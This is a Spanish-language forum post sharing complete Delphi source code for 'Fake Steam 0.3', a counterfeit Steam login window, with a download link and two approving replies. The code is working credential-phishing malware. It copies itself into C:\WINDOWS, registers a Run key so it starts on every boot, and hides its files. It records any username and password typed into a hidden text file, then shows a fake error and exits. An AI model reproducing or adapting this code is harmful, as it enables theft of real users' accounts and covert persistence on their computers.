Un simple fake del programa Steam , parecia dificil pero con el poder de los skins de Delphi XE2 pude hacerlo "parecido".
Una imagen :
(http://doddyhackman.webcindario.com/images/fakesteam.jpg)
El codigo :
// Fake Steam 0.3
// (C) Doddy Hackman 2015
unit fake;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.pngimage,
Vcl.StdCtrls, Registry;
type
TForm1 = class(TForm)
Image1: TImage;
Image2: TImage;
Edit1: TEdit;
Edit2: TEdit;
Image3: TImage;
Image4: TImage;
Image5: TImage;
Image6: TImage;
procedure Image2Click(Sender: TObject);
procedure Image3Click(Sender: TObject);
procedure Image4Click(Sender: TObject);
procedure Image5Click(Sender: TObject);
procedure Image6Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
nombrereal: string;
rutareal: string;
yalisto: string;
her: TRegistry;
begin
try
begin
nombrereal := ExtractFileName(ParamStr(0));
rutareal := ParamStr(0);
yalisto := 'C:\WINDOWS\' + nombrereal;
CopyFile(Pchar(rutareal), Pchar(yalisto), false);
her := TRegistry.Create;
her.RootKey := HKEY_LOCAL_MACHINE;
her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
her.WriteString('ubersteam', yalisto);
her.Free;
SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
end;
except
//
end;
end;
procedure TForm1.Image2Click(Sender: TObject);
var
archivo: TextFile;
ruta: string;
begin
if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
begin
try
begin
WinExec('notepad c:/windows/datos.txt', SW_SHOW);
end;
except
//
end;
end
else
begin
if Edit1.Text = '' then
begin
ShowMessage('Escriba tu usuario');
end;
if Edit2.Text = '' then
begin
ShowMessage('Escribe tu contraseña');
end
else
begin
if Edit2.Text = 'Escribe aqui tu contraseña' then
begin
ShowMessage('Escribe tu contraseña');
end
else
begin
try
begin
ruta := 'c:/windows/datos.txt'; // mod
if FileExists(ruta) then
begin
AssignFile(archivo, ruta);
FileMode := fmOpenWrite;
Append(archivo);
Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
Edit2.Text);
CloseFile(archivo);
Application.MessageBox
('Se ha producido un error , es necesario reiniciar Steam',
'Steam', MB_OK);
Form1.Close;
end
else
begin
AssignFile(archivo, ruta);
FileMode := fmOpenWrite;
ReWrite(archivo);
Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
Edit2.Text);
CloseFile(archivo);
Application.MessageBox
('Se ha producido un error , es necesario reiniciar Steam',
'Steam', MB_OK);
Form1.Close;
end;
end;
except
//
end;
end;
end;
end;
end;
procedure TForm1.Image3Click(Sender: TObject);
begin
Application.Terminate;
end;
procedure TForm1.Image4Click(Sender: TObject);
begin
ShowMessage('Not available');
end;
procedure TForm1.Image5Click(Sender: TObject);
begin
ShowMessage('Not available');
end;
procedure TForm1.Image6Click(Sender: TObject);
begin
ShowMessage('Not available');
end;
end.
// The End ?
Si quieren bajar el programa lo pueden hacer de aca (https://sourceforge.net/projects/fakesteam/).
Me ha gustado la idea aunque es un poco maliciosa cómo siempre xD, gracias por compartir.
El fake está genial, creo que probablemente pasaría desapercibido para todos los despistados, aunque hay ciertos detalles que has descuidado bastante.
EDITO: Por cierto, ¿te das cuenta que has copiado/utilizado una imagen legítima de Steam y lo has compartido en sourceforge? ... si te pillan, ¡ve con cuidado!.
Saludos!